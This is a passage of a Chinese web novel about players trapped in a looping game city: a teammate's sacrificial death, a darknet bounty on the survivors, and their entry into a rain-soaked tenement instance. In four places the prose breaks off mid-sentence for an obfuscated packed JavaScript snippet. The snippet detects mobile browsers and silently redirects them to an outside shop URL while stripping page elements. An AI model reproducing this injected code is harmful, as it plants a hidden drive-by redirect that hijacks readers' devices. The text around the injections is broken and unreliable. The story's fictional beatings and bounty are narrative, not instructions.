初与序被扬起的灰尘呛得咳嗽了几声,她在原地站了一会儿,等眼睛适应黑暗,才慢慢坐下。 江意大概是早就料到了,审讯问不出,执行官一定会使用催眠。所以他提前做了准备,在别的地方又动了手脚,在刚刚引走了审讯的人。江意死了,而他们四个只要没被催眠,就能躲过这一关。 意哥,你连让我们亲口说谢谢的机会都不给。 可能是D19和齐无尽跟上面汇报了些什么,四个人被关了十天左右,没有再提审,直接放了。 刚走出处罚区,除了他们无罪释放的通知,一同传来的,还有一张江意的死亡确认书。 D19等在对面街道的大树下,他从口袋里掏出一样东西,递到初与序面前。 那是一只染着血迹的机械手环,是江意的武器。 “你们……好好存着吧。”D19道,“别弄丢了。” 初与序平静地接过来,拿在手里,低头看了很久。 随歌这十天的状态很差,几乎没怎么吃东西,人瘦了一大圈。他看着那只手环,眼泪又涌了出来。他吸了吸鼻子,用双手捂住脸。 破坏系统本身就是九死一生,五个人一开始都抱着可能回不来的决心,只是谁也没说出口。现在的结果似乎已经是最好的了。系统瘫痪了,他们四人还活着,D19、C13这些执行官也没有暴露。 可就是不得劲,因为最不该死、最不可能死的人死了。 因为之前的搜查,时光之书被白闽紧急销毁了,阁楼进不去,但现在系统瘫痪,监听和监视设备也一并失效,有些话终于可以直接在永冬之城说了。 D栋楼下的公共休息室内,几个人围坐在一起,一时间没人说话。 过了好一会儿,陈秋天先开口道:“这次破坏系统的计划,只有我们七位玩家,加上四个执行官知道。到底会是谁告的密?” 随歌忽然抬起头,直勾勾地盯向齐无尽。 齐无尽蹙着眉,回视他:“喂,你看我干什么?怀疑是我举报的?” 随歌冷冰冰地说:“谁知道呢,我们可猜不透齐长官的心思。” 初与序忙打圆场:“齐无尽全程都和我待在办事区分机室,他没机会,应该不是他。” 随歌哼了一声,又低下头去。 白闽一直沉默着,这时候忽然张了张嘴,又闭上。片刻后,又开口:“其实……从你们制定这个计划开始,江意就知道中途会被人举报。” 几个人都看向她:“什么?” 白闽叹了口气:“因为除了最开始的几次循环,后面只要你们尝试破坏系统,就会被人举报。计划要么中断,要么失败,要么就是你们四个人当中随机死一个顶罪。” “所以这次循环,他选择重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215496|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤进入总部,用自己的命换系统瘫痪。这一切都是他计划好的,是唯一的出路。” “他很早之前找到我,就找我说了他的打算。我试图阻止,但他说如果他不这么做,你们五个人都会死。我知道你们的计划有多急,我能做的也只有尽力帮你们清除痕迹,打掩护。” 随歌红着眼抬起头:“意哥知道会发生意外,为什么不告诉我们?我们可以一起想办法,阻止那个举报的人!” “哪有那么简单?”齐无尽冷冷开口,“想办法?怎么想?先要找到是谁举报了你们破坏系统,举报人藏在哪里,用什么办法阻止,阻止之后他又会干什么。他能有渠道向上级举报,就有办法不让你们找到。几千次循环了,如果江意真的能找到,他还会用死这个办法吗?” 他看向随歌:“江意如果提前告诉你们,如果能避免这一切,能当然好。但如果不能避免,你们会同意他主动去送死吗?” 不会。 无论如何,他们都不会同意队伍里任何一个人,用这种方式去换计划成功。 初与序沉默了一会儿,开口道:“首先,举报人不可能在我们几个知情者中间。但知情者不一定只有我们几个。也可能有别的,像意哥那样的长生者,早就通过前几次循环知道我们会破坏系统,所以每次都会举报我们。” 白闽摇了摇头:“意哥之前和我说过,他前几次循环就排查了很多遍。除了他,其他长生者都不知道你们的计划,也没有能力在那种时间点举报。” 景明垂道:“那大概率就不是玩家了,是伪装成玩家的执行官,或者管理员,甚至妄主。” 冬逢初想起来什么,抬头道:“你们还记得之前月度巅峰赛突然取消的事情吗?当时有外来能量入侵永冬之城,人为造成了系统损坏,执行官们一直没找到是谁干的。” “之前意哥和D19他们谈过,说那是一位玩家,但如果他其实并不真的是玩家,而是装成玩家的呢?他们当时在排名榜上找,也没有找到人。还有,这次举报我们破坏系统的人,会不会就是同一个人?” 景明垂道:“……管理员?” 冬逢初问道:“为什么不能是妄主?” “妄主应该不能离开祂居住之地太久,祂需要管着那些管理员。而且如果祂真的想阻止我们破坏系统,直接下令加强系统守卫就行,没必要多此一举去举报。祂是妄主,想干什么都行。”景明垂道,“但如果是管理员,做事需要妄主同意,如果他想做,而妄主不同意,他就只能暗中举报。” 她顿了顿,皱起眉:“还有,我觉得他的最终目的并不是保护系统,毕竟他之前来到永冬之城,干的第一件事也是损坏系统。他真正的目的或许是要我们五个人里死掉一个,或者让那个人因为队友的死亡而不好受,并且那个人是固定的目标。” “之前他损坏系统,导致玩家队伍混编,可能就是想借着混编的机会,接近我们五个里的某一人。” 随歌抓了抓头发:“可我们没惹过任何管理员啊,我们连管理员长什么样子都不知道。到底有多大仇非要我们中一个死亡,还一直追着不放?” 暂时没人能回答这个问题。 白闽叹了口气,站起身:“算了,这几天大家都辛苦了,先回去好好休息一下。” 几个人陆续起身,离开了休息室。 283.悬赏 初与序站在休息室门口,看着外面的雪地。 现在是白天,D栋里静悄悄的,大部分人都在睡觉,楼下空无一人。初与序没有现在就回1802,走了另一条小道,绕到D栋后面。 小路很窄,旁边是一两间低矮的平房,用来堆放一些公用的生活物品,玩家可以随时来取用。 小路上铺着厚厚的雪,两旁是落满了叶子的树,枝丫遮住了大半天空。平房的窗户黑洞洞地敞着,冷风朝着初与序刮来,卷起她脚下的雪花。 她停下脚步,转头看向左边那间平房的窗户。窗户大开着,里面堆着些杂七杂八的东西,没有任何人。 她盯着里面看了一会儿,风停了,她又抬起腿准备继续走。 下一秒,初与序伸出手迅捷地探进那扇敞开的窗户里,往里一抓—— 手指攥住一个人单薄的衣领,随后往自己这边用力一拽! 里面的人被拽得一个踉跄,被迫从窗户里探出上半身,和初与序四目相对。 初与序冷冷道:“初一。” 初一脸上最初的惊讶变成了笑容,弯起眼睛:“你怎么知道我在这里?” 初与序没回答,松开了手。初一单手撑住窗台,轻轻一跃,翻出窗户,稳稳落在初与序面前的雪地上。 她绕着初与序转了一圈,目光落在她右手那枚戒指上,笑了一下:“这次循环的你,不仅和冬逢初谈恋爱,竟然还结了婚。” 初与序后退一步,靠在平房墙壁上,双臂环抱:“以前的我没有和他恋爱过?” 初一双手插兜,也靠到墙壁上,挨着她旁边。 “也不是全没有。”她仰头望天,感慨道,“只有第零批玩家的你和他谈了,不过没结婚。” 还真的有第零批玩家? 现在的她自己和第零批的自己一样,一个是没有记忆,一个是刚进入永冬之城,都是什么都不知道的初与序,所以才会与冬逢初在一起。 那么其他那些有记忆的「初与序」呢? 根据她对自己的了解,大概只有两种可能:一种是不愿拖累冬逢初,一种是知道不能和他在一起。不存在“谈不了”这个选项,因为只要她和冬逢初想,他们总能找到办法相爱。 所以那些「初与序」是在顾虑什么?是因为知道冬逢初的真实身份吗? 初与序转过头,看向初一:“冬逢初是管理员吗?” “不是。”初一摇了摇头,“准确说,他也不算是玩家。” “趁着现在妄主不在,系统瘫痪,需要我告诉你他的真实身份吗?” 初与序却道:“不用。我不想知道。” 她换了个问题:“D栋有妄主派来的卧底吗?” 初一想了想:“以前有一次开会我不在场,不过后来听其他管理员说,妄主确实派了一位管理员来永冬之城,盯着你们。其实主要是盯着你,毕竟你和之前所有的「初与序」都不一样,不是记忆这方面。” 初与序问:“你和他有什么仇?” “我?”初一笑道,“我怎么可能和他有仇?” 初与序看着她。 “好吧,我确实和你是同一个人。”初一耸了耸肩,“但我非常非常讨厌别人把我当成任何一个初与序,就算当成你也不行,即使我对你有好感。” 她顿了一下,接着说:“话说回来,另一个你以前确实和那位管理员有矛盾,所以他间接地恨所有初与序,也包括你。这次举报你们的可能是他,但我不确定。” 初与序沉默了一会儿,忽然开口:“第零批玩家有一部分就是管理员吧。” 初一笑道:“不错嘛,猜到了。” 初与序问:“妄主到底是谁?” “这个我可不能说,也说不出来。”初一摊开手,耸了耸肩,“但你应该已经猜到了。” “不过我可以告诉你,之前你和江意、齐无尽他们猜测的,在1803死亡的那个姑娘,确实是每一轮循环的「初与序」。她的死也是为了给新的「初与序」腾位置。” “至于为什么她不在自己那轮循环结束时立刻死,而是要等到新一轮循环开始,是因为妄主会在每轮循环结束后陷入沉睡,我们那边需要人管理。如果让我来管,指定乱套——当然我也不愿意。所以每一轮循环结束后,「初与序」都会去宫殿,代替妄主的位置管理我们。” “十八年后,等妄主苏醒,新一轮循环开始,她才会死亡。” 初与序道:“那之前那个被你放进阁楼的「初与序」呢?” “我就猜到你知道她。” 初一说着,轻轻一跃,坐到对面平房的窗户上,悠哉悠哉地晃着长腿:“她是第十八次轮回的「初与序」,也是我见过最特别的一个。” “当时的她快要完成所有计划了,但在最后关头,因为被其余玩家恶意曲解,围剿,身边的队友被玩家害死,她放弃了毁掉永冬之城,任由玩家自生自灭。同样,那次循环又失败了。她来到宫殿,代替妄主看管我们。” “当时她找到我,与我谈判,提出她想看看接下来几次轮回会发生什么。” “我同意了,没杀她,但也不能让她继续存在干扰后续轮回。所以我把她放到了阁楼里,就是你们知道的那个阁楼。在那里,没有时间这个概念,她无法离开,但能看到永冬之城所有的轮回。” “后来突然有一天,我去阁楼找她聊天,发现她不见了,阁楼里一个人都没有。妄主知道了,还把我骂了一顿。” 初与序问道:“所以直到现在,你也没找到她去了哪里?” 初一眨了眨眼。 “不是啊。”她说,“我知道她在哪里。” “远在天边,近在眼前嘛。” 说完,她从窗台上轻盈地跳下来,拍了拍手上的灰尘,又朝着初与序摆了摆手:“我先走啦,有缘再见。” 她抬起头,打了个响指。接着一阵冷风刮过小道。 初与序下意识眯了一下眼,再睁开时,面前空空荡荡,雪地上连个脚印都没有。 回到D栋,初与序看见随歌抱着电脑等在她家门口,脸色阴沉沉的。 她打开门:“怎么了?” 随歌一言不发地跟进去,坐到沙发上,把电脑推到她面前。屏幕上是永冬之城的暗网界面,现在系统瘫痪,执行官们忙于维修,没人在意互联网,暗网里的玩家更加肆无忌惮,各种交易和悬赏帖刷了满屏。 其中一条帖子被置顶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215497|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标红: 【本报特报:上上周因“破坏系统”而死亡的玩家江意,经过本报深入调查证实,其真实身份实为系统安插在玩家群体中的高级间谍。】 初与序点开帖子。 「各位玩家,当我们还在为系统的短暂瘫痪而庆幸时,是否有人想过,这一切的代价是什么?」 「据可靠消息透露,江意并非玩家。他从进入永冬之城的第一天起,就携带了特殊权限与任务,并多次与不同编号执行官私下接触(包括已被格式化的A12)。其目的并非带领玩家求生,而是监控,并且在必要时清理部分玩家。」 「本次“系统瘫痪事件”,实则为一次精心策划的“系统重启前清理”。瘫痪期间,共有十七名玩家在不同副本中“意外”丧生,而江意团队的其余四名成员——随歌、初与序、景明垂、冬逢初,至今安然无恙。」 「我们有理由怀疑,这四人也同样接受了系统的指令。他们正在为各位玩家演一场戏,在玩家群体中制造恐慌,为系统接下来的全面控制铺路。」 「江意并非真正死亡,他此刻极有可能与妄主一同,等待着下一个指令。」 「在此,我们呼吁所有清醒的玩家:不要被表象迷惑,真正的敌人或许就隐藏在我们当中。」 帖子下面是潮水般的回复,一部分人在质疑,更多的人在附和。 帖子最下方,一条刚刚发布的悬赏被高高顶起: 【悬赏通缉】目标:初与序、冬逢初、随歌、景明垂(四人任选其一) 【要求】提供虐杀影像与死亡证明 【赏金】每人五百万积分 【发布者】匿名 初与序看完,沉默了好一会儿。 初一刚才说的第十八次的「初与序」在最后关头被玩家恶意围剿,身边人都死了,大概就是从这样一篇帖子开始的。那些早就忌惮江意的地位和权限,但又不敢动手的玩家在此刻找到了机会,终于开始下杀手。 她关掉网页,打开自己的面板,下一个副本的信息已经推送过来。 【副本分配通知】 「副本名称:《筒子楼之雨》」 「参与时间:明日10:00」 「参与玩家:二十人(初与序、随歌)」 看到参与玩家人数时,初与序又沉默了好一阵子。 随歌气得拍桌子:“操他妈的!一群没脑子的蠢货!意哥用命换的系统瘫痪,到他们嘴里就成了阴谋?!还卧底?我卧底他祖宗!” 初与序道:“暗网上的人肯定已经把我们的行程摸透了,明天我们进入的副本是大型多人副本,一定有人混进去追杀我们。” 火腿面包在一边急得转圈:“那咋办啊?明天就你们两个人,千万不能让那些人上列车啊!” 初与序想了想,问:“所有发帖人的地址都追踪到了吗?” 随歌压着火点头:“都找到了,IP,常用登录地点,关联账号,全扒出来了。” 初与序忽然站起身,顺手拿起放在沙发上的帽子,扣到头上:“走。” 随歌下意识:“去哪儿?” 初与序已经走到门口,手搭在门把手上,回过头道:“找他们聊聊。” 284.筒子楼之雨 天快亮时,永冬之城某巷子。 一个男人拼了命地往巷口跑,脚在积雪里打滑,踉踉跄跄。他不断回头,脸上全是惊恐。不小心摔了一跤,立刻手脚并用地爬起来继续跑,大口大口喘着粗气。 巷口的光就在前面,他脸上的表情一点点放松,笑了出来。 紧接着,一个人从巷口拐角转了出来。 随歌站在那里,手里拿着一把竹扇,扇子遮住了下半张脸,露出一双笑眯眯的眼睛。 “Hi.” 男人脸上的笑容僵住,变回恐惧,他猛地转身就要往回跑。 刚一转头,就看见另一个人不知何时已经出现在他几步远的地方,堵住了退路。 初与序扛着一根棒球棍,棍子一头沾着半干的血迹。她脸上没什么表情,就那么直直看着他。 男人腿一软,扑通一声瘫坐在雪地里。他抬起头看着前面的初与序,又回头看看后面的随歌,嘴唇哆嗦起来:“姑奶奶……姑爷爷……其他人你们不都打过了吗……就、就放过我吧……我再也不敢乱发帖子了!我回去就在暗网上发澄清!发道歉!” 随歌“啧”了一声,蹲下身看着男人惨白的脸:“我还以为敢发那种帖子的人得多厉害呢,就你这怂样,也敢趁机害意哥队伍里的人?” “系统瘫痪了,受益的不只是你们,现在不也方便我们揍人了么?” 初与序上前一步,朝着地上的男人笑了一下。 然后她扬起手里的棒球棍—— 几秒后,巷子里持续传来男人撕心裂肺的惨叫声: “啊啊啊啊——!!!” 当天,永冬之城开始流传一个新故事。关于江意队伍里两个成员如何在一夜之间,让所有在暗网上煽风点火,发布追杀令的玩家集体闭了嘴。 那些造谣的帖子消失了,追杀令被撤销,不少人连夜注销账号。 挨了揍的玩家鼻青脸肿地聚集到系统处理区大厦门口,举着牌子要求执行官给个说法。D19让他们在冷风里干等了两个小时,才晃出来,轻描淡写道: “真的不巧啊,我们这片区域的监控前几天就坏了,一直没修好。我可没看到他们俩私闯名宅,也没看到他们去找你们。没有证据不能乱说啊,不然你们这算造谣,也要进处罚区的。大冬天的怪冷了,都散了吧,赶紧回去。” 就在这群人喝西北风,一肚子火没处发的时候,初与序和随歌已经登上了前往副本的列车。 J23坐在位置上,扫了两人手里拿的棒球棍一眼:“你们俩不会从昨晚到现在一直没睡吧?” 随歌将两根棍子随便塞到座位底下:“一直在处理暗网通缉令的事,进副本再补觉也行。” J23挑了挑眉:“能让那帮人这么快删帖闭嘴,你们应该不只是暴打一顿吧?还干啥了?” “天机不可泄露。”随歌挥了挥手。 J23:“……” 她转过身,拉下了操纵杆,列车缓缓启动,驶入一片雪原。 广播里不再是熟悉的系统女声,而是某个执行官的声音: 【尊敬的各位玩家您好,您搭乘的D019次列车即将出发。本次列车起点站:永冬之城;终点站:《筒子楼之雨》。接下来,我会为各位讲解此次副本的背景设定。】 【……不好意思忘词了,等我看一下词。】 两人包括前面开车的J23:“???” “喂,你们执行官这么随意吗?”随歌不可置信。 J23尴尬地摸了摸后脑勺,顺便整理了一下自己一头大波浪:“那啥……这不是这几天执行官都忙吗,好几天不睡,即使是机器人也受不了的。精神疲惫身体虚弱,工作自然会出事故,哈哈……” 【“永安筒子楼”始建于1978年,曾是棉纺织厂职工宿舍。1998年,因城市规划需要,永盛拆迁有限公司首次启动拆迁动员,但因部分住户强烈反对,计划未能实施。】 【1999年6月15日,暴雨夜,时任楼长老张在天井处召集住户商议搬迁事宜时,意外失足溺亡。一同溺亡的还有一名建议用外跳入水中施救的602住户老曹。事故发生后,拆迁计划暂时搁置。】 【此后二十一年间,楼内住户没有任何一人搬离,84户“钉子户”因各种原因坚守在此。筒子楼年久失修,设施老旧,墙壁渗水,电线老化,暴雨季经常停水停电。】 【各位玩家是永盛拆迁有限公司新入职的20名员工,你们需要完成入职考核任务。完成后将正式入职永盛拆迁有限公司,获得高额项目奖金。】 【主线任务:请在三天内让永安筒子楼全部84户住户签署《搬迁同意书》。】 【特殊提醒:三日后(6月18日中午12:00),拆迁施工队将准时抵达,若仍有住户未签署协议,将视为任务失败。楼内设施老旧,请自行注意安全。】 【祝各位玩家存活愉快。】 初与序:“……打工人?” 随歌抓了抓头发:“现在让我们玩家去干拆迁?还高额奖金,永冬之城的副本连画饼都学得这么像了?” “知足吧。”J23道,“没让你们像上次的回北他们去工地搬砖就不错了。” 随歌瞪她:“你们执行官是不是对职场生活有什么奇怪的执念?” J23耸了耸肩,踩下刹车键:“下车了,两位打工人,活着回来。” “希望如此吧。”随歌叹了口气,站起身。 两人穿过一片白茫茫的雾气,再睁眼,已经站在了一栋稍微有些破旧的高楼大门前。周围零零碎碎站着几十来位玩家,穿着统一的深蓝色工装,胸口挂着工牌,正低声交谈着。 一进副本,两人就感觉气温明显上来了,和永冬之城寒冷的冬天完全是两个世界。灰蒙蒙的天空飘着细雨,空气里是南方梅雨季的潮湿。 “这还是我头一回打夏天季节的副本。”随歌左右张望了一下,眼前这地方应该是个发展落后的小县城,景象陈旧,空气湿闷,细雨混着暑气,莫名让人有些烦躁。 初与序低头,看见自己和随歌的衣服也换成了统一的工装,工牌上印着“永盛拆迁有限公司”。 她打开面板,里面躺着一个牛皮纸文件袋和一把黑色雨伞。文件袋里是一叠《房屋搬迁同意书》,还有一份标着楼层分配的纸。 玩家陆陆续续到齐,二十个。 等了一会儿,大楼里走出一个穿着西装的中年男人,撑着把黑伞,眼下一片青黑。他数了下人数,确认全部到齐,才半死不活地懒洋洋开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215498|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “各位新同事,我是项目负责人,姓王,你们叫我王队长就行。” 随歌用气音说:“初与序,你瞧这NPC的模样,标准的被工作榨干了的社畜。” 初与序回了随歌一句:“放心,我们很快也会变成这样。” 随歌:“……” 王队长似乎没听到他们嘀咕,抬起头指了指远处雨幕中一栋高楼:“就那栋楼,1998年就列进拆迁计划了,硬是拖了二十多年,楼里现在还住着八十四户人,个个都是钉子户,难搞得很。” 他从公文包里掏出一份红头文件:“总公司下了死命令:三天,就三天,必须让所有住户在这《搬迁同意书》上签字。” “六月十八号中午十二点整,挖掘机会准时开进来。在那之前,这栋楼必须清空。” 说完,他转过身:“你们都跟我来吧。” 众人被他带领着,七拐八绕,最后停在一栋老旧的筒子楼前。 初与序抬眼望去,楼是典型的七层筒子楼,水泥外墙上有大片大片的水渍,窗户密密麻麻,有些玻璃都碎了,拿报纸糊着。整栋楼呈U字型,围出一个露天的方形天井,铁栅栏上挂着衣物。墙面上贴满了小广告,透出脏乱差的气息。 王队长走到一楼一间屋子门口,门上贴了白纸,潦草写着“临时办公室”。 他停下脚步,转过身:“就是这儿,建议你们按楼层顺序来,今天1 到3层,明天4到5层,后天6到7层。每天午夜12点前,把你们当天签好的协议交到办公室这儿来,我们会统计进度。” 他顿了顿,没什么精神地补充:“提醒你们一下,这些老住户脾气有些怪,他们可能会提这样那样的要求,你们得帮着解决他们搬家前的困难,人家才愿意签字,这叫‘邻里情分’,明白吗?” “明——白——”底下传来几个玩家拖长调子的回应。 王队长拍了拍桌子上的箱子:“这是空屋子的钥匙,你们这三天都住这儿,自己上来随便挑一把。” 话落,一群人呼啦就涌了上去,争抢着去拿那些门牌号带“6”“8”之类的钥匙。初与序和随歌落在最后,等人都散得差不多了,才慢吞吞走过去。 箱子里剩下的钥匙不多,初与序拿了409,随歌拿了410。 王队长已经走到门口,忽然想起了什么,又回头:“哦,对了。这楼701的楼长老张,之前意外死了。你们跟住户打交道的时候小心点,他们对这事儿挺敏感的。” 说完,他摆摆手,最后扔下一句“祝你们好运”,就撑着黑伞走进雨雾中,头也不回。 二十个玩家站在湿漉漉的天井地面上,四周的筒子楼像在俯视他们一般,玩家们开始与自己的队友交谈起来。 随歌计算道:“一共八十四户,咱们二十人,平均下来每人得负责四到五户,一天……真的能谈下来这么多钉子户吗?” 他一边嘀咕一边往旁边走了几步,脚下一滑,像是踩到了水。他低头一看,忽然低叫一声,向后跳开。 天井那圈墙壁的根部竟然在不断往外渗水,水蔓延得很快,就这么一小会儿功夫,已经快要渗到天井中央了,而且水面似乎正在缓慢地往上涨。 “这什么鬼?”随歌盯着那圈不断扩大的水,有些发毛。 285.筒子楼之雨 初与序扫了地面的积水一眼,没回答,走到旁边的墙壁前,伸手轻轻撕下来一张旧报纸。 报纸日期是1999年6月份的,正面的标题是: 《永安筒子楼天井积水成谜,两年未退》 「我县永安筒子楼天井区域自1997年梅雨季起,出现异常积水现象。据悉,该区域雨水无法自然排出,疑似地下管道结构异常。近两年间,积水持续缓慢上涨,已先后淹没一楼、二楼及三楼住户生活区域。本月,房管所紧急加装抽水泵,暂时控制水位上涨,但积水仍未下降……」 初与序把报纸翻过来,背面是一则社会新闻: 《暴雨夜悲剧!永安楼楼长天井溺亡,一住户救人同遇难!》 「本月15日晚,我县遭遇强降雨,永安筒子楼楼长张某(58岁)在顶楼检查防水时,不幸失足坠入天井积水中。当时,楼内抽水泵因故障停止工作,积水较深。住户曹某(602室,42岁)跳入水中施救,二人均不幸溺亡。」 初与序把报纸递给随歌,指了指脚下缓慢上涨的积水,道:“这些水应该会一直往上涨,照着这个速度,第三天的时候会直接淹到七楼楼顶。我们后面能行动的空间会越来越小。” “那还等啥?”随歌将报纸随便往墙上一贴,“上楼吧,抓紧时间。” 两人转身,朝着露天的台阶走去。 “喂,那两个!回来!” 一个尖锐的女声突然从他们背后响起,两个人脚步一顿,回头看去。 一个陌生的高马尾女玩家站在天井中央,她旁边还站着一个年纪小点的少年,其余玩家站在两人周围,此刻都转头望着初与序和随歌。 初与序指了指自己:“我们?” “当然。”女玩家抱着胳膊道,“你们两个过来,都是一起进副本的队友,有点集体意识行不行?总得商量好接下来每个人要干什么,别单独瞎跑。” 本着多一事不如少一事的态度,两人还是走了过去,在离女玩家远一点的地方站定。 女玩家清了清嗓子:“我叫唐玉兰,全服排名第二十一,这种大型副本我打过很多次了,需要所有玩家配合才能通关。” 她指了指身边的少年:“这是我的队友,路耀,我住301,他住302。” “大家都自我介绍一下吧,互相了解,也好分配任务。” 二十位玩家轮流介绍起来,一圈下来,除了唐玉兰和路耀,初与序和随歌谁的名字也没记住。他们俩也没必要介绍,在永冬之城干的事太多太出名了,在场玩家没有不认识他们的。两个人干脆趁着这功夫,一个发呆,一个补觉。 唐玉兰道:“一共八十四户,我们二十个人,每人负责四户。先从自己住的楼层开始敲门,每天晚上六点在三楼走廊汇合,交流进展,交换线索,谁也不许隐瞒。还有,副本里禁止玩家私斗。” 又簌簌叨叨讲了半小时,她才终于放人。 玩家们开始三三两两往楼梯上走,去各自的房间。 初与序用钥匙打开409的门,屋子就是普普通通的住宅,客厅连着卧室,厨房厕所都有,客厅有一排窗户,没装防盗网,玻璃上蒙着灰。 她在屋里转了一圈,没发现什么特别的东西,便走了出来。 随歌等在外面,趴在栏杆上,左手捏着那张楼层分配表,右手垂在身侧,时不时甩几下。 初与序走到他旁边:“怎么了?” “没什么,旧伤嘛,下雨天就容易隐隐作痛,没多大事。”随歌勉强笑了一下,不等初与序再开口,就将分配表递到初与序眼前,“看,咱们这层的住户,先从401开始。我们先别分头走吧,看看局势。” 401的住户信息写着:独居老人,女,姓丁。 初与序点了点头:“走吧。” 随歌把表收起来,快步跟上。两人刚走没几步,准备往401的方向拐,随歌突然觉得一股巨大的力道从后面狠狠撞在自己肩膀上! “我操!”他被撞得一个踉跄,撑住旁边的墙壁才稳住身形。 他和初与序回过头。 两个陌生的玩家站在他们身后,正挑衅地看着他们。其中一个盯着随歌,笑道:“呦,这不是那位跟在大间谍身边的狗吗?怎么,主子刚死,狗就急着出来替主子咬人了?” 随歌的脸色瞬间沉了下去,盯着那人没说话。 另一个抱着胳膊,阴阳怪气道:“听说你们俩还把发帖的人给揍了?也是,系统瘫痪就是好,狗都能随便咬人了。” 原先说话的那个又看向初与序,上下打量:“初与序,瞎了一只眼还下副本?你们队长没教过你,打BOSS得用两只眼睛看吗?少了只眼,小心……” “砰!” 一声闷响,随歌已经一步跨上前,右手揪住那人的衣领,左拳狠狠砸在了对方脸上!鲜血立刻从那人鼻腔和嘴角涌出,周围几个路过的玩家发出一阵惊呼。 挨打的那人发出一声惨叫,捂住脸,随歌揪着他衣领的手没松,另一只拳头又扬了起来! “随歌。” 初与序走上前,拉住了他的胳膊:“别打了。” 随歌扭过头看她:“他在骂你!” “我知道。”初与序垂着眼看他,“走吧。” 随歌盯着她看了几秒,又扫了那两个男人一眼,终于松开手。他站起身,将沾了血的手甩了甩,转身和初与序一起离开。 身后传来那两人气急败坏的骂声:“妈的……你们俩你给老子等着!” 随歌脚步顿了顿,拳头又捏紧了。初与序走在他身边,轻声道:“任务要紧。” 两人没再理会身后的叫嚣,径直朝着401走去。 初与序抬手,敲了敲401的门。 门内过了好一会儿才传来动静,接着门被拉开一条缝,一个头发花白的老奶奶站在门口,眯着眼打量他们。 两人刚想开口介绍。 那老人一看到他们的工装,脸色一变。一句话没说,甩手“砰”一声把门关上了! 初与序和随歌站在门外面面相觑。 随歌:“……什么鬼?” 初与序再次抬手敲了敲门:“丁奶奶,请问可以开一下门吗?我们有事找您。” 门内传来老人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215499|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音:“我晓得你们来干什么!拆迁的事儿莫要找我,我是坚决不会签字滴!” 随歌凑到门边:“奶奶,您先开开门,我们就是跟您聊聊,听听您的想法,不一定非要您签字。这大冷……哦不是,这大热天的,隔着门说话多不方便。” 里面没动静。 初与序继续:“丁奶奶,我们不是来强迫您的,只是公司有任务,我们得了解一下每户的情况。您有什么困难或者要求,也可以跟我们说。” “是啊奶奶。”随歌接上,“您看妮妮一个人住,要是搬家有什么需要帮忙的,力气活什么的,我们年轻人都可以搭把手。” 两个人你一句我一句,在门外说了好几分钟。 门内沉默了好一会儿,终于被打开一条缝。老人警惕地看着他们,没完全让开:“有什么事就站在门口说吧。” 随歌立刻露出笑容:“好好好,就站在门口说。丁奶奶,我们是永盛公司的新员工,这次来就是想问问,您对搬迁有什么想法?或者有什么需要我们协助解决的困难?” 老人皱着眉看了他们好一会儿,才慢吞吞道:“搬?老张当年也说要搬,结果呢?死在天井里了,你们现在要我搬?” 随歌立刻追问:“老张?您是说以前的楼长吗?当年到底是怎么回事?可以跟我们说说吗?” 老人闭紧嘴巴,摇了摇头:“没什么好说的,都是过去的事儿了。” 她话锋一转:“我腿脚不好,晚上总睡不安稳。楼下201那小子,天天放摇滚音乐,吵得我头疼。你们真想帮忙?行啊,先去让他把音乐关了,别吵我睡觉。” “这简单!”随歌忙道,“奶奶您放心,我们现在就去找他,马上让他安静,保证不吵您。” 老人没再说什么,又砰地关上了门。 两人对视一眼,转身往楼下走。 刚到二楼,还没走到201门口,震耳欲聋的音乐声就从门板里传了出来,震得地面都在发颤。初与序上去敲门,敲了三声没什么反应,音乐声太大了。 随歌加大力气,又敲了几下,提高声音喊:“201的住户在家吗?请开一下门!” 他的声音完全被音乐声盖住了,两人无奈,只好先停下来。 初与序转头看向随歌:“去外面看看,能不能从外面爬上二楼。” 随歌皱着眉:“啥?!我听不清你说话——!” “……”初与序叹了口气,不再多说,示意他跟上。 